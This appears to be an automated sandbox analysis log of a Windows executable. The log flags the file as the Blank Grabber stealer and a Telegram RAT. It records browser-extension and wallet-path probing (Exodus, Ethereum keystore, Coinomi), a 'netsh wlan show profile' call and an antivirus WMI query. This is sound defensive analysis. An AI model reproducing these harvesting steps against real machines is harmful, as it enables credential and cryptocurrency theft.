Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\be VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cy VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bn VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\da VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ca VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\de VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cy VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\da VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_GB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\de VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\de VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_US VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\el VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\hu VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\iw VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fil VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\7-Zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3 VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe

Code function: 0_2_00007FF78DA5D080 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF78DA5D080

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe

Code function: 0_2_00007FF78DA75EEC _get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF78DA75EEC

Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe

Code function: 70_2_00007FF6AA1C48CC GetModuleFileNameW,GetVersionExW,LoadLibraryExW,LoadLibraryW,

70_2_00007FF6AA1C48CC

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntivirusProduct

Stealing of Sensitive Information

Yara detected Blank Grabber

Source: Yara match	File source: 00000002.00000003.2042414743.000001F12AE8D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2042483409.000001F12AEA2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2400025008.000001F12AF00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2395753264.000001F12B202000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2396649299.000001F12B202000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2028897385.000001A5F3614000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2395270624.000001F12B657000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2028897385.000001A5F3616000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2400386354.000001F12B208000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9g9LZNE4bH.exe PID: 6176, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9g9LZNE4bH.exe PID: 5860, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI61762\rarreg.key, type: DROPPED

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: 9g9LZNE4bH.exe PID: 5860, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 9g9LZNE4bH.exe, 00000002.00000003.2042414743.000001F12AE8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: 9g9LZNE4bH.exe, 00000002.00000003.2042414743.000001F12AE8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxxz
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404785095.000001F12C004000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404785095.000001F12C004000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum\keystore
Source: 9g9LZNE4bH.exe, 00000002.00000003.2042414743.000001F12AE8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Exodusz
Source: 9g9LZNE4bH.exe, 00000002.00000003.2042414743.000001F12AE8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404785095.000001F12C004000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: 9g9LZNE4bH.exe, 00000002.00000003.2042414743.000001F12AE8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

